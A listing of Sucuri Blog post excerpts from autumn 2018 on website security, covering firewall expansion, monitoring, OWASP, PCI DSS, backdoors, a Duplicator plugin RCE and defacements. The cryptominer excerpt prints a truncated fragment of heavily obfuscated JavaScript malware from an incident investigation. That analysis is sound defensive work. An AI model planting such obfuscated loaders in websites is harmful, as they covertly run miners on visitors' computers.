Web Security

  • Product Update: Sucuri Firewall in Singapore and Amsterdam 15 October 2018 Product Update: Sucuri Firewall in Singapore and Amsterdam

    Over three years ago, we transitioned the Sucuri Firewall (WAF) away from the cloud and expanded it to run on top of our own Anycast content delivery network (CDN).

    We provide security for websites with the protection of our WAF as well as performance benefits of a CDN. We have been adding data centers in key regions of the world:

    • San Jose – US
    • Dallas – US
    • Washington D.C.

    Continue reading Product Update: Sucuri Firewall in Singapore and Amsterdam at Sucuri Blog.

  • Security Monitoring Saves the Day 11 October 2018 Security Monitoring Saves the Day

    For the second week of  National Cyber Security Awareness Month, we would like to focus on a very important part in having a good website security posture: monitoring.

    How can security monitoring save your day?

    Most people only care about their website security after something bad has already happened. However, how can you tell when something is attempting to harm your website? Sometimes it is a very noticeable issue, such as:

    • website defacement – when the home page of the website is wiped out and something else appears in front of the visitor’s eyes;
    • unresponsive website – when the website pages respond too slowly or stop loading at all;
    • SEO spam – when the website listing in search engines shows unrelated spam keywords, often pharma keywords; or
    • a website blacklist warning – when a red warning page shows all your visitors that the website they are about to go to is not secure.

    Continue reading Security Monitoring Saves the Day at Sucuri Blog.

  • Obfuscated JavaScript Cryptominer 9 October 2018 Obfuscated JavaScript Cryptominer

    During an incident response investigation, we detected an interesting piece of heavily obfuscated JavaScript malware. Once decoded, we found out that cryptominers were running on visitor’s computers when they accessed our customer’s website.

    We have previously discussed how cryptomining can happen in many covert ways. In this post, we will show you how a malicious code can create a cryptominer.

    Malware that Creates Cryptominer Code

    Take a look at the following malware:

    <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")
    [$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")
    [$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+
    ($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")
    [$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)
    [$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.$$_+$.$$_+$.$_$_.

    Continue reading Obfuscated JavaScript Cryptominer at Sucuri Blog.

  • OWASP Top 10 Security Risks – Part I 3 October 2018 OWASP Top 10  Security Risks – Part I

    It is National Cyber Security Awareness Month and in order to bring awareness to what threatens the integrity of websites, we would like to start a series of post on the OWASP top 10 security risks.

    OWASP stands for the Open Web Application Security Project, an online community that produces articles, methodologies, documentation, tools, and technologies in the field of web application security.

    OWASP Top 10 is the list of the 10 most seen application vulnerabilities.

    Continue reading OWASP Top 10 Security Risks – Part I at Sucuri Blog.

  • October Cybersecurity Month 1 October 2018 October Cybersecurity Month

    Since 2003, October has been recognized as National Cybersecurity Awareness Month. It is an annual campaign to raise awareness about the importance of cybersecurity and being a better digital citizen.

    October has just started and a majority of security companies are promoting internet security. With the holidays fast approaching, it is a crucial time for website owners, especially ones with an e-commerce website, to be cyber secure.

    The end of the year is also the season when hackers try to profit the most.

    Continue reading October Cybersecurity Month at Sucuri Blog.

  • PCI for SMB: Requirement 7 & 8 – Implement Strong Access Control Measures 28 September 2018 PCI for SMB: Requirement 7 & 8 – Implement Strong Access Control Measures

    This is the fifth post in a series of articles on understanding the Payment Card Industry Data Security Standard – PCI DSS. We are halfway there! In the previous articles about PCI, we covered the following:

    • Requirement 1: Build and Maintain a Secure Network – Install and maintain a firewall configuration to protect cardholder data.
    • Requirement 2: Build and Maintain a Secure Network – Do not use vendor-supplied defaults for system passwords or other security parameters.

    Continue reading PCI for SMB: Requirement 7 & 8 – Implement Strong Access Control Measures at Sucuri Blog.

  • SSL vs. Website Security 25 September 2018 SSL vs. Website Security

    Having a website today is way easier than it was 10 or 15 years ago. Tools like content management systems (CMS), website builders, static site generators and alike remove a lot of the friction around building and maintaining sites. But, is there a price for such convenience?

    I would dare to say that one of the downsides to bringing such facilities to the masses is the creation of misconceptions. The biggest misconception is about what makes a website secure versus not secure.

    Continue reading SSL vs. Website Security at Sucuri Blog.

  • E-Commerce Security – Planning for Disasters 20 September 2018 E-Commerce Security – Planning for Disasters

    This is the last post in our series on E-commerce Security:

    • Intro to Securing an Online Store – Part 1
    • Intro to Securing an Online Store – Part 2

    Today, let’s expand on some of the suggestions made during a webinar I hosted recently about steps you can take to secure your online store.

    So far in this series, we have touched on how to identify potential risks and how to defend against threats via WAF technologies.

    Continue reading E-Commerce Security – Planning for Disasters at Sucuri Blog.

  • Backdoor Uses Paste Site to Host Payload 18 September 2018 Backdoor Uses Paste Site to Host Payload

    Finding backdoors is one of the biggest challenges of a website security analyst, as backdoors are designed to be hidden in case the malware is found and removed.

    Website Backdoors

    A backdoor is a piece of malware that attackers leave behind to allow them access back into a website. Hackers like to inject code into different locations to increase their chances of retaining control of the website so they can reinfect it continuously.

    Continue reading Backdoor Uses Paste Site to Host Payload at Sucuri Blog.

  • Outdated Duplicator Plugin RCE Abused 14 September 2018 Outdated Duplicator Plugin RCE Abused

    We’re seeing an increase in the number of cases where attackers are disabling WordPress sites by removing or rewriting its wp-config.php file.

    These cases are all linked to the same vulnerable software: WordPress Duplicator Plugin.

    Versions lower than 1.2.42 of Snap Creek Duplicator plugin are vulnerable to a Remote Code Execution attack, where the malicious visitor is able to run any arbitrary code on the target site.

    Continue reading Outdated Duplicator Plugin RCE Abused at Sucuri Blog.

  • Unsuccessfully Defaced Websites 13 September 2018 Unsuccessfully Defaced Websites

    Defaced websites are a type of hack that is easy to notice and a pain for website owners. Recently, we came across some defacement pages with a peculiar JavaScript injection included in the source code.

    What is a Defacement?

    Website defacement is a hack that often involves adding malicious images to the website homepage and other important pages. Beyond the initial embarrassment, the effects of defacement can include loss of traffic, revenue, and trust in your brand.

    Continue reading Unsuccessfully Defaced Websites at Sucuri Blog.